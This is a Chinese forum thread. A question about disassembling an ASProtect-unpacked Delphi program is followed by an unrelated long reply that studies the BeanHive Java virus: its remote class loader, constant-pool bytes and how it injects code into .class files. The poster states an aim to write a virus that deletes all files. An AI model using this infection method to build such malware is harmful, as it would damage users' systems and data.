首页
社区
课程
招聘
[求助]用反汇编软件一打开脱壳成功后的程序,反汇编软件就自动关闭了,我想反汇编它,我该怎么办?
发表于: 2007-5-6 13:21 8976

[求助]用反汇编软件一打开脱壳成功后的程序,反汇编软件就自动关闭了,我想反汇编它,我该怎么办?

2007-5-6 13:21
8976
有一delphi程序用ASProtect_SKE_2.3Beta_Build0426加壳,脱壳后, 发现EOP有stolen code,我使用了补区段的方法。脱壳成功后,我想对其反汇编,    用反汇编软件一打开脱壳成功后的程序,反汇编软件就自动关闭了,我想反汇编它,我该怎么办?
用DEDE反编译它,由于PE文件中的区段名被ASProtect_SKE_2.3Beta_Build0426改了,反编译也很不完整,有什么资料或方法指导我恢复被ASProtect_SKE_2.3Beta_Build0426改了的区段名?
谢谢赐教!

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 2110
活跃值: (21)
能力值: (RANK:260 )
在线值:
发帖
回帖
粉丝
2
LordPE 可以编辑区段吧...
2007-5-6 13:34
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
谢谢回答,LordPE是可以改区段名,但.RSS,.iData.....等等,怎么让它们对号入坐了?ASPr是怎么anti 静态反汇编器的?大侠能讲讲吗,先谢谢了
2007-5-6 21:18
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
自己顶一下
2007-5-7 09:13
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
再顶一下,期待中......
2007-5-8 08:26
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
我想汉化Deskproto软件,一但修改,Deskproto就无法启动了,请问那位大哥能指教,多谢!!
2007-5-8 15:41
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
没人说说吗,我再顶
2007-5-9 08:31
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
8
反汇编软件这么多,你用的哪个?
IDA试过没有?
问题请描述得清楚一些
2007-5-9 08:41
0
雪    币: 190
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
你可以试试静态反汇编工具
2007-5-9 15:44
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
............................
忽然发现他的确很厉害了,他把变量按照堆栈的方式存储起来了。。。。
然后插入方法。。调用。。呵呵,想到了。。。。。

CONSTANT
又想到了,好象应该是,其插入的应该是。。。。现在不能说了,因为这次应该是对了,虽然每次
都差一点都对了。但是这次应该对了。虚拟机了。虚拟机的结构,呵呵,还是写下来吧。。
接下来是学习虚拟机的结构,看看他插入的数据是什么块的,就好分析了。还有一点就是我
如何得到这些数据。。是个问题。如何得到不同的数据呢??
他应该是把数据直接插入到虚拟机中了,并插入到某一线程的数据区域中了。呵呵。。
并调用这一线程。
也有可能是由什么来着,Applet调用的这一线程。。对了。。Maybe!!
猜想那些数据的时候想到了,他应该是jvm之.class文件结构。上的内容。
一直以为我在飞速前进,现在我才明白我其实就是踯躅不前。现在才有了一点点进展。。
现在想到,他是把方法的编码插入,又将常量存储库插入。两者插入了就成了。
那方法调用呢?如何调用呢?
那应该是applet的问题了。。。。就是如此
那他是如何插入的呢,插入的是什么呢??
就要看到了。。我靠。。。。
e 是个总调度文件
c 插入感染性和一个异常实体
d 插入一个方法
b 插入一个常量存储库
插入的时候要看什么位置了
不是什么位置都能插入的关键是位置了
什么位置来着,,,
要看.class 文件的结构了
class文件的结构是什么来着,来着呢?
第一是 魔数占4个字节
第二是 主次版本也要占几个字节的来着。
接下来是常量池的长度和常量池/
第四是 访问控制,那访问控制有好多来着那怎么办呢,他是不是一个数组的形式呢?应该是吧!
第五和第六是thisclass 和superclass但是具体是什么意思我不太明白,。
第七是interface_count 和interfaces 前者是数量,后着保存着存储在常量池中的interface的索引。
第八fields_count和fields他们就是那个什么来着,是那个该类型声明的变量的总数,后面的是保存了不同
长度的变量的描述信息,fields_info表的序列。。。
第九 是什么来着。是那个methods_count 和methods和第八类似。。
那么d的内容插入的是什么地方呢??
想想,什么地方。。。。应该是第九的地方了,那他都插入什么数据呢??
一个方法中有什么呢?
有变量,常量,还有什么呢?应该没了吧!!应该是的。。。。。
一个方法的插入还有什么来着,。,
应该这么想
他把所有的变量都插入到那个变量池中,让后在方法的区域中可以调用了什么来着。确实这样的//
那访问权限怎么来着。。呢???
访问权限是这么来着的
访问权限呵呵呵呵访问权限他也插入到变量池中,然后就可以访问了,所有的数据都是在变量池中的其他的地方插入
的仅仅是引用了。。。那可以借助这个引用访问所要的数据了。。。我靠。。
那c 呢?c插入的是个异常了。异常是否也可以看成是一个方法呢?显然不行了。
或许要有其他的插入方式了呢。。。。
我靠
那他的测试感染性又怎么办呢???
我靠这么长时间了才分析到这个地方。。。。
我靠/。。。。....

关键还有读懂所需要的c中声明的变量的含义,含义,,,呵呵。呵呵。。。。
变量,,猜测了。。。。
boolean isValid = false;我靠,这个变量一看就知道是什么来着,看是否有效,废话,什么有效??是这
个文件已经感染了,还是这个文件是个合格的.class文件来着。。。不晓得了 。还有哪种猜测呢??
int temp_return_pointer = 0;
int temp_m_access_flags;
int temp_m_name_index;
int temp_m_attr_count;
int temp_m_attribute_name;
int temp_m_attribute_length = 0;
int temp_m_code_length;
int temp_e_table_length;
int temp_e_start_pc;
int temp_e_end_pc;
int temp_e_handler_pc;
int temp_attr_count;
int temp_attr_pointer;
int temp_attr_length;
int temp_deleted;
int temp_offset;
byte temp_tail[];
想想啊
temp_m 加个m是干什么的呢??
是为了区分?不是这么简单的。不是/。。。
是两个东西。对了一个是他妈的什么感染,另一个是异常了。。m 是否指代main方法???
看来不行,我必须将虚拟机的东西给看了,才行类。。才行类。。。。
now i write it for nothing to report ..
i just want to know what to do next!
what ???
然后将十六进制的文件再转化为10进制的文件。。。仅仅如此。。。测试一下。。。。
他是将java编译为class 文件然后又分析class (字节码)分析出字节码的各个区域的内容,
既有利于要插入的代码的实体的文件的分析,又有利于对将要被插入客户的class文件的分解,
方便插入,于是他必须将class文件的框架相当熟悉。。必须相当熟悉。。。。
work......

字符传截取查看。:

loadClass  
(Ljava/lang/String;Z)Ljava/lang/Class;
Code
LineNumberTable
Exceptions
<init>
()V
SourceFile
VirusClassLoader.java
http://www.codebreakers.org/
BeanHive
D E..............
java/lang/ClassNotFoundException
java/net/URL
java/lang/StringBuilder
F G..............
class
H I..............
JKLMNOPQRSTU............
java/lang/Exception
VW................
java/lang/ClassFormatError
XY Z ...............
java/lang/Runnable
E...............
VirusClassLoader
java/lang/ClassLoader
findSystemClass
(Ljava/lang/String;)Ljava/lang/Class;
append
(Ljava/lang/String;)Ljava/lang/StringBuilder;
toString
()Ljava/lang/String;
(Ljava/lang/String;)V
openConnection
()Ljava/net/URLConnection;
getInputStream
()Ljava/io/InputStream;
getContentLength
()I
java/io/InputStream
read
([B)I
close
defineClass
)(Ljava/lang/String;[BII)Ljava/lang/Class;
resolveClass
(Ljava/lang/Class;)V
java/lang/Class
newInstance
()Ljava/lang/Object;
run

.! .......................
他妈的思维全都乱了,我靠,全都乱了。。。
但是,想想与人交流也是很不错了一种经历从中学到了很都的东西啊,很多。。。
我想都有好处,,,好处。。。。
测试完了,但是测试结果呢?/

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽
----------------------------------------------------------------------------------------------------

LineNumberTable
VirusClassLoader.java
D E..............
java/lang/StringBuilder
F G..............
H I..............
JKLMNOPQRSTU............
VW................
XY Z ...............
E...............
VirusClassLoader
(Ljava/lang/String;)Ljava/lang/StringBuilder;
run
.! .......................

在我的测试中找不到的字符串:
(Ljava/lang/String;)Ljava/lang/StringBuffer; 可能就是文件中的(Ljava/lang/String;)Ljava/lang/StringBuilder;
编译时有了异常。。
(Ljava/lang/String;[BII)Ljava/lang/Class;的匹配问题是没有我的那个)号的.
已经测试到"Code"了,下来接着测试吧!!!!!!

找不到的字符传
LocalVariables
ConstantValue
Virus
BeanHive.java
java/lang/StringBuffer
java/net/URLConnection

而上面的就是多出的字符:
说明:
   带长长的............的就是截取的时候不确定是否属于的字符传,现在看来是不属于该类了。
   则剩下的就是
            LineNumberTable
        VirusClassLoader.java
        java/lang/StringBuilder
        VirusClassLoader
        (Ljava/lang/String;)Ljava/lang/StringBuilder;

为什么会多出这几个和少了几个呢??
----------------------------------------------------------------------------------------------------
∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

似乎毫无进展,(错了,进展不小类,至少确定了那是16进制的东西)也是的仅仅是想着有了进展其实什么进展都没有,,,
思维偏差了。。。。
但是如何是好呢??如何??
我不太清楚的 。。
继续了。。。。
分析,下一步就是:两个工作。。
一是将那些16进制的再转换成10进制的然后再比较一下,
二是什么呢?是那个再准确的理解那个什么结构,几位的问题。到底是进几位到底是进几位。。。
进多少位的问题。。。。
分析透了,奶奶的没有时间的情况下就没有分析清楚的时候。。呵呵。。就这么类。。。。。

那些数字的编码:
                //--> constant_pool[1] CONSTANT_String
                        8,          //08      //空
                        0,          //00      //空格
                        61,         //3d     //=
                //--> constant_pool[2] CONSTANT_String
                        8,          //08
                        0,          //00
                        63,         //3f
                //--> constant_pool[3] CONSTANT_String
                        8,          //08
                        0,          //00
                        77,         //4d       //M      有这么一块是07 00 4d(77)  //4d
                //--> constant_pool[4] CONSTANT_Class
                        7,          //07
                        0,          //00
                        69,         //45    //E  
                //--> constant_pool[5] CONSTANT_Class
                        7,          //07
                        0,          //00
                        78,         //4e     //N
                //--> constant_pool[6] CONSTANT_Class
                        7,          //07
                        0,          //00
                        79,         //4f    //O
                //--> constant_pool[7] CONSTANT_Class
                        7,          //07
                        0,          //00
                        80,         //50    //P
                //--> constant_pool[8] CONSTANT_Class
                        7,          //07
                        0,          //00
                        81,         //51         //Q     有这么一块但是顺序是 00 51(81) 07 00
                //--> constant_pool[9] CONSTANT_Class
                        7,          //07
                        0,          //00
                        82,         //52    //R
                //--> constant_pool[10] CONSTANT_Class
                        7,          //07
                        0,          //00
                        83,         //53  //S
                //--> constant_pool[11] CONSTANT_Class
                        7,          //07
                        0,          //00
                        84,         //54   //T
                //--> constant_pool[12] CONSTANT_Class
                        7,          //07
                        0,          //00
                        85,         //55   //U
                //--> constant_pool[13] CONSTANT_Class
                        7,          //07
                        0,          //00
                        86,         //56     //V
                //--> constant_pool[14] CONSTANT_Class
                        7,          //07
                        0,          //00
                        87,         //57   //W
                //--> constant_pool[15] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        7,          //07
                        0,          //00
                        33,         //21
                //--> constant_pool[16] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        8,          //08
                        0,          //00
                        33,         //21
                //--> constant_pool[17] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        9,          //09
                        0,          //00
                        33,         //21
                //--> constant_pool[18] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        12,         //0c
                        0,          //00
                        34,         //22
                //--> constant_pool[19] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        13,         //0d
                        0,          //00
                        34,         //22
                //--> constant_pool[20] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        12,         //0c
                        0,          //00
                        35,         //23
                //--> constant_pool[21] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        5,          //05
                        0,          //00
                        36,         //24
                //--> constant_pool[22] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        8,          //08
                        0,          //00
                        37,         //25
                //--> constant_pool[23] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        8,          //08
                        0,          //00
                        38,         //26
                //--> constant_pool[24] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        14,         //0e
                        0,          //00
                        39,         //27
                //--> constant_pool[25] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        14,         //0e
                        0,          //00
                        40,         //28
                //--> constant_pool[26] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        8,          //08
                        0,          //00
                        41,         //29
                //--> constant_pool[27] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        6,          //06
                        0,          //00
                        42,         //31
                //--> constant_pool[28] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        13,         //0d
                        0,          //00
                        43,         //32
                //--> constant_pool[29] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        5,          //05
                        0,          //00
                        44,         //33
                //--> constant_pool[30] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        8,          //08
                        0,          //00
                        45,         //34
                //--> constant_pool[31] CONSTANT_InterfaceMethodref
                        11,         //0b
                        0,          //00
                        11,         //0b
                        0,          //00
                        46,         //35
                //--> constant_pool[32] CONSTANT_Methodref
                        10,         //0a
                        0,          //00
                        12,         //0c
                        0,          //00
                        47,         //2f
                //--> constant_pool[33] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        62,         //3e
                        0,          //00
                        53,         //35
                //--> constant_pool[34] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        62,         //3e
                        0,          //00
                        57,         //39
                //--> constant_pool[35] CONSTANT_NameAndType
                        12,         //0e
                        0,          //00
                        71,         //47
                        0,          //00
                        56,         //38
                //--> constant_pool[36] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        72,         //48   //H
                        0,          //00
                        53,         //35
                //--> constant_pool[37] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        73,         //49
                        0,          //00
                        59,         //3d
                //--> constant_pool[38] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        74,         //4a
                        0,          //00
                        55,         //37
                //--> constant_pool[39] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        75,         //4b
                        0,          //00
                        48,         //30
                //--> constant_pool[40] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        76,         //4c
                        0,          //00
                        49,         //31
                //--> constant_pool[41] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        88,         //58    //X
                        0,          //00
                        55,         //37
                //--> constant_pool[42] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        89,         //59     //Y
                        0,          //00
                        50,         //32
                //--> constant_pool[43] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        90,         //5a     //Z
                        0,          //00
                        52,         //34
                //--> constant_pool[44] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        91,         //5b
                        0,          //00
                        60,         //3c
                //--> constant_pool[45] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        92,         //5c
                        0,          //00
                        54,         //36
                //--> constant_pool[46] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        93,         //5d
                        0,          //00
                        53,         //35
                //--> constant_pool[47] CONSTANT_NameAndType
                        12,         //0c
                        0,          //00
                        94,         //5e
                        0,          //00
                        51,         //33

为何写个0x01呢?
因为每个字符串开始的时候是型如:...str的,而第一个.总是0x01,第二个.总是0x00第三个.总是~变化的,
呵呵,接下来就是str了(看着他妈的01 24 03 00 ... ... ... 找呀找呀找规律~~ ~~ )。

上面一大块应该是变量也就是const_pool的内容,而下面还有很大一块的... ..  . . . . .  . @.  !..... .. ..! ...什
么的应该是插入的方法了吧 !

先对上面的总结一下吧!
不是上边的是对那个小猪显示的内容总结一下吧!
单个字母前的.一定是0x00,到方法区的特殊字符前的.就不一定是0x00了,可能就在方法区的不为0x00,
可能方法区后面的还有一个区域。 那个00是结束的标志,还是中间加的一个分割幅,还是开始的标志副呢?
而结束的也只有
另外还有ANSI表。
为什么上升到8呢?
因为前4个是魔数,接着两个是次版本号,再两个是主版本号。总共8位。所以是应该是8,而且
这8位中不含什么“重要”信息了。。。。。。。
经测试得到,变量的总数是5e也就是94个。
我看到很奇怪的一个现象,有些人不去上课,搞的他们自学能得到的更多似的。。。。。。
他妈的他就是按照这个顺序来读取的。。。。。。。。。。。
现在完成了对某个代码的读取理解。。。。
知道了,他是按照那个顺序来写的。如果我要写,也得按照那个顺序。那感染性呢??
感染性如何解释?
如何创造感染性呢??
感染性。。。。。。。。。
还有,他在hash表中存储的是什么东西呢?那是他截取的short 和utf8,都最终成为了String的。
要用他验证是否有感染性吗?
一个难关算攻克了,下一步是什么呢??目的是我要写一个病毒的。。。我自己的那么这才是很长的一段路的很小一部分。。。。。

现在将那个病毒代码看完了,下一步是将代码的每行都写上注释。。。。。。。。。。。。。。
将注释的每一行构思自己的代码结构。。最终完成自己的代码。。
我的也就是直接删文件,,直接地删文件。。。。。。。。。。。。。
写个文件将他妈的所有的文件给删了,就行了。。我靠,我就不信我写不成一个病毒。。。。。

现在我要对每个文件的每行代码做注释了。
写在哪呢?
大纲:从BeanHiveApplet.java开始。也就是按照交用过程来叙述比较好一点。
先大体上描述一下。。。。。。。。。。。。。。。。。。。。。。。。。。。

对于一个类用到哪些东西呢???
api 文档,网上的相关资料。以及个人理解。
本注释保留的原作者的注释(英文),我添加的是中文注释,并对每个类及相关知识,以及代码的
流程为大家讲解一下。希望对对此感兴趣的人有帮助。。。。

注释comment

好,现在我看懂了。如何证明给别人看呢???
如何?第一,将注释贴出来。放在网上。
第二自己再写一个。将源码放在网上。
通过这个,我可以找到一个好工作。。
I have a plan ... ...
两种路径,现在还不能告诉他,或他们。因为,现在还不是时候。等到我将所有的代码写出来的
时候就成了。分析一下,他的代码都是干吗的呢??分析一下。。。。
大脑中要有个清晰的构架。
清晰的构架。。。。。。。清晰的构架。等到我对这个代码了如执掌的时候,便可以随心所欲了。
他的执行路径是什么呢?
第一:病毒的执行过程,。。。。过程。。。。。。。。。。。
想:
BeanHive 的作用是
寻找并感染其他的class文件。当已经感染了路径中的某个文件之后,启动,那么他就会自行的感染
其他的文件。如何感染呢?由VirusClassLoader调用,VirusClassLoader首先会在文件系统中寻找
这个文件。若没有就会从作者的站点上下载。下载之后就会为BeanHive创建一个线程并运行他。
而BeanHive 的作用就是搜索文件和感染文件。于是,病毒的传播性就具备了。

而对于感染而言,主要是由e89a763c控制实现的。他判断被传递的.class文件是否具有了感染性。
若具有了就好了,(那操作是什么呢?没有)若没有就将其感染。
那么下来具体讲讲感染的过程:
感染分3步的:
第一步:找到相应的位置得到插入点的数据。
第二步:插入想要插入,所需的常量
第三步:插入方法。

关于第一步的具体细节:
找到相应的字节的插入点。涉及到的内容是,字符转换为16进制编码,class文件结构,16进制
与10进制的转换。其中字符转换为16进制编码的方式很容易的,我用的是小猪十六进制编辑器(java编
的),打开一个class文件之后,你会看到型如: 02 21 0a 4a ef e1 ... ... 的字符。不要小看这些
看似毫无章法的数字。我达到这一步用了好长时间呢。(他妈的,我不是在讲解的)。我不告诉你我是怎么想到的。
这一个重写。
关于第一步的具体细节:
找到相应的插入点。如何实现呢?
按照class文件的相应结构。具体是什么?
还要用到一个指针的对象。。
这个是他自己写的,关于RandomFileAccess的指针的对象。用他确定插入点已经到哪了。并随着文件的
读取相应的进位。
他是如何读取的呢?按照什么顺序读取的呢?
    ClassFile {
            u4 magic;               // 必须为: 0xCAFEBABE

            u2 minor_version;
            u2 major_version;       //CLASS文件结构主次版本号 JAVA2支持45.0-46.0
            
            u2 constant_pool_count; //记录常量信息
            cp_info constant_pool[constant_pool_count-1];   //计数从1开始

            u2 access_flags;        //class/interface访问权限

            u2 this_class;          //指向constant_poll中的有效索引值
            u2 super_class;         //0或指向constant_poll中的有效索引值,对于interface必须为非0
            
            u2 interfaces_count;    //superinterfaces的个数
            u2 interfaces[interfaces_count];  //计数[0,count-1) 对应constant_pool中的一个索引值

            u2 fields_count;
            field_info fields[fields_count];  //主要用于记录class及实例中的变量

            u2 methods_count;
            method_info methods[methods_count];

            u2 Attributes_count;
            attribute_info Attributes[Attributes_count];
    }

定义:   u1   1个字节为单位的非负值
        u2   2个字节为单位的非负值
        u3   . . . . . . . .  (其他以此类推 )

按照上面的顺序读取。。。。
并在读取时将指针推进。
对于上面的我不讲解了。读取相应的信息获取相应的数字。并加上要插入的数字个数。更改要更改的数字。
将需要的数字设为变量存储起来。方便插入。。。
第二步:插入变量池中的内容。
这个涉及到几个类型转换的过程。
第一,因为变量要插入到字节码中,所以,需要将数字转化为字节码,他妈的就是byte类型的就行了。int
转换为byte,不需要考虑精度损失,因为,这些int类型的值并没有超出byte的范围。
第二,将字符转换为16进制的数字。
第三,将16进制的数字转化为10进制的数字。
这些就完成了一次循环的转换。
首先获取要插入的变量,如何获取要读取的变量呢?
如何获取呢??也是按照上面的方式来获取的。则必须要知道那些数字的方式了。。很清楚他们的结构。。

_____________________________________________________________________________________________________________
|        Magic high            |                                                                              |
|        Magic low             |                CONSTANT Class info                                           |
|        Minor version         |           |------|Tag        |                                               |
|        Magor version         |   ______ _|___   |Name index |                                               |
|        Constant pool count   | / Tag 0 |Info |   -----------                                                |
|        constant pool 0       |/  Tag 1 |Info |--->... ...                                                   |
|         ...    ...           |    ...  |...  |                                                              |
|        Constant pool n       |\   ...  |...  |                                                              |
|        Access flags          | \ Tag n |Info |  CONSTSNT Fieldref info                                      |
|        This class            |   --------|---     ____________________                                      |
|        Super class           |           |------->|Tag                |                                     |
|        Interfaces count      |                    |Class index        |                                     |
|        Interfaces 1          |                    |Name and Type index|                                     |
|         ...    ...           |   ________________  --------------------                                     |
|        Interfaces n          |  /Access flags    | Constant vlaue attribute____                             |
|        Fields count          | / Name index      | +->|Attributes name index  |                             |
|        Fields 0              |   Attributes count| |  |Attributes length high |                             |
|         ...    ...           |   Attributes 0    |-+  |Attributes length low  |                             |
|        Fields n              | \  ... ...  ..    |--| |Constant value index   |                             |
|        Methods count         |  \Attributes n    |  | -------- ---------------|                             |
|        Methods 0             |   -----------------  +---> ...                                               |
|         ...    ...           |--> ... Code attribute_____________________                                   |
|        Methods n             |----------------->|Attribute name index   |  Exception_______                 |
|        Attributes count      |                  |Attribute length high  ||--> |Start pc   |                 |
|        Attributes 0          |                  |Attribute length low   ||    |End pc     |                 |
|         ...    ...           |                  |Max stack              ||    |Handler pc |                 |
|        Attributes n          +--|               |Max locals             ||     -----------                  |
|        ----------------------|  |               |Code length high       ||     ...                          |
|                                 |               |Code length low        ||   Line Number Table attribute    |
|        _______________________  |               |Code 0                 || |->|Attribute name index    |    |
|        Source file attribute |  |               |...  ...               || |  |Attribute length high   |    |
|        *Attribute name index |<-|               |Code n                 || |  |Attribute length low    |    |
|        *Attribute length high|                  |Exception table length || |  |Line name table length  |    |
|        *Atrribute length low |                  |Exception 0            || |  |Line names 0            |    |
|        *Source file index    |                  | ...  ...              || |  | ...  ....              |    |
|        -----------------------                  |Exception n            |- |  |Line names n            |    |
|                                                 |Attribute count        |  |  --------|----------------     |
|                                                 |Attribute 0            |--           |   Line name table   |
|                                                 | ...  ...              |             V                     |
|                                                 |Attribute n            |      | Start pc   |               |
|                                                  ------------------------      | Line number|               |
|                                                                                 ------------                |
|___________________________________________________________________________________________________________|

得到数据,得到数据。。。。。。。。。。。。。。。。。
那么他有两种形式,第一,按照所有的数据存储到constant_pool中,并在其中存储了两位的信息,
第一是tag第二是info对于info又有tag和其他的info.那么如何存储这些呢,在内存中?
第一中是在constant中存储所有的数据,
一个类中的数据是??
如何提取,让我用自己的话说出来。!!
根据class文件的特点。前8个是去掉的,接两位是cp_count,然后是什么来着,要提取的内容了。

hash.get(hash.get(new Integer(temp_super_class))).equals("java/lang/Object")
hash.get(new Integer(temp_super_class))

我还有很远没走类,很远。。。
变量变量变量。

Methods的区域解析。

Methods {
        Methods count
        Methods 0
        Methods 1
         ....  ..
        Methods n
}

Methods n
Code attribute{
        Attribute name index
        Attribute length high
        Attribute length low
        Max statck
        Max locals
        Code length high
        Code length low
        Code 0
        .... ..
        Code n
        Exception table length
        Exception 0
         ... ...
        Exception n
        Attribute count
        Attribute 0
         ... ...
        Attribute n
}

Exception n
Exception{
        Start pc
        End pc
        Handler pc
}

Attribute n
Line Number Table attribute{
        Attribute name index
        Attribute length high
        Attribute length low
        Line name table length
        Line names 0
         ... ...  ..
        Line names n
}

Line names n
Line name table{
        Start pc
        Line number
}

Attribute 的区域解析

Attribute
Attribute {
        Attribute count
        Attribute 0
        Attribute 1
         ... ... ..
        Attribute n
}

Attribute n
Source file attribute {
        Attribute name index
        Attribute length high
        Attribute length low
        Source file index
}

试着将Methods 区域的转化一下:

Methods {
        Methods count
    /**   start Method 0  {Code attribute}    **/
      //Code attribute
        Attribute name index
        Attribute length high
        Attribute length low
        Max statck
        Max locals
        Code length high
        Code length low
        Code 0
        .... ..
        Code n
        Exception table length
        // start Exception 0 in M0_CA
        //*******{Excetion}********//
        Start pc
        End pc
        Handler pc
          // end Exception 0 in M0_CA

        // start Exception 1 in M0_CA
        //*******{Excetion}********//
        Start pc
        End pc
        Handler pc
          // end Exception 1 in M0_CA

        // start Exception .. in M0_CA
        //*******{Excetion}********//
        Start pc
        End pc
        Handler pc
          // end Exception .. in M0_CA

        // start Exception n in M0_CA
        //*******{Excetion}********//
        Start pc
        End pc
        Handler pc
          // end Exception n in M0_CA

           Attribute count
        // start Attribute 0 in M0_CA
        //******{ Line Number Table attribute }******//
        Attribute name index
        Attribute length high
        Attribute length low
        Line name table length
        // Start Line names 0 in M0_CA_ATTR0
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names 0 in M0_CA_ATTR0
        
        // Start Line names 1 in M0_CA_ATTR0
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names 1 in M0_CA_ATTR0

        // Start Line names .. in M0_CA_ATTR0
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names .. in M0_CA_ATTR0

        // Start Line names n in M0_CA_ATTR0
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names n in M0_CA_ATTR0

        // start Attribute 1 in M0_CA
        //******{ Line Number Table attribute }******//
        Attribute name index
        Attribute length high
        Attribute length low
        Line name table length
        // Start Line names 0 in M0_CA_ATTR1
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names 0 in M0_CA_ATTR1
        
        // Start Line names 1 in M0_CA_ATTR1
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names 1 in M0_CA_ATTR1

        // Start Line names .. in M0_CA_ATTR1
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names .. in M0_CA_ATTR1

        // Start Line names n in M0_CA_ATTR1
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names n in M0_CA_ATTR01

        // start Attribute .. in M0_CA
        //******{ Line Number Table attribute }******//
        Attribute name index
        Attribute length high
        Attribute length low
        Line name table length
        // Start Line names 0 in M0_CA_ATTR..
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names 0 in M0_CA_ATTR..
        
        // Start Line names 1 in M0_CA_ATTR..
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names 1 in M0_CA_ATTR..

        // Start Line names .. in M0_CA_ATTR..
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names .. in M0_CA_ATTR..

        // Start Line names n in M0_CA_ATTR..
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names n in M0_CA_ATTR..

        // start Attribute n in M0_CA
        //******{ Line Number Table attribute }******//
        Attribute name index
        Attribute length high
        Attribute length low
        Line name table length
        // Start Line names 0 in M0_CA_ATTRn
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names 0 in M0_CA_ATTRn
        
        // Start Line names 1 in M0_CA_ATTRn
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names 1 in M0_CA_ATTRn

        // Start Line names .. in M0_CA_ATTRn
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names .. in M0_CA_ATTRn

        // Start Line names n in M0_CA_ATTRn
        //*******{ Line name table }*******//
        Start pc
        Line number
        // end of Line names n in M0_CA_ATTRn

}

Attribute 的区域解析

Attribute
Attribute {
        Attribute count
        Attribute 0
        Attribute 1
         ... ... ..
        Attribute n
}

Attribute n
Source file attribute {
        Attribute name index
        Attribute length high
        Attribute length low
        Source file index
}

将Attribute 的转化一下。

Attributes{
               
        Attributes count;
    // Start Attribute_0
        //******{Source file attribute}******//
        Attribute name index
        Attribute length high
        Attribute length low
        Source file index
    // End Attribute_0

    // Start Attribute_1
        //******{Source file attribuet}******//       
        Attribute name index
        Attribute length high
        Attribute length low
        Source file index
    // End Attribute_1

        // Start Attribute_..
        //******{Source file attribuet}******//       
        Attribute name index
        Attribute length high
        Attribute length low
        Source file index
    // End Attribute_..

    // Start Attribute_n
        //******{Source file attribuet}******//       
        Attribute name index
        Attribute length high
        Attribute length low
        Source file index
    // End Attribute_n

}

更详细的请参看Methods&Attribute转化内存存储顺序.doc。
他的文件的调用顺序:

e 调用 c virusinvoke的insert(int temp_m_count, int temp_m_pointer, int delta_offset,
                             RandomAccessFile temp, a98b34f2 ptr, Hashtable hash)
          调用时的变量insert(temp_m_count,temp_m_pointer,delta_offset,temp,ptr,hash)

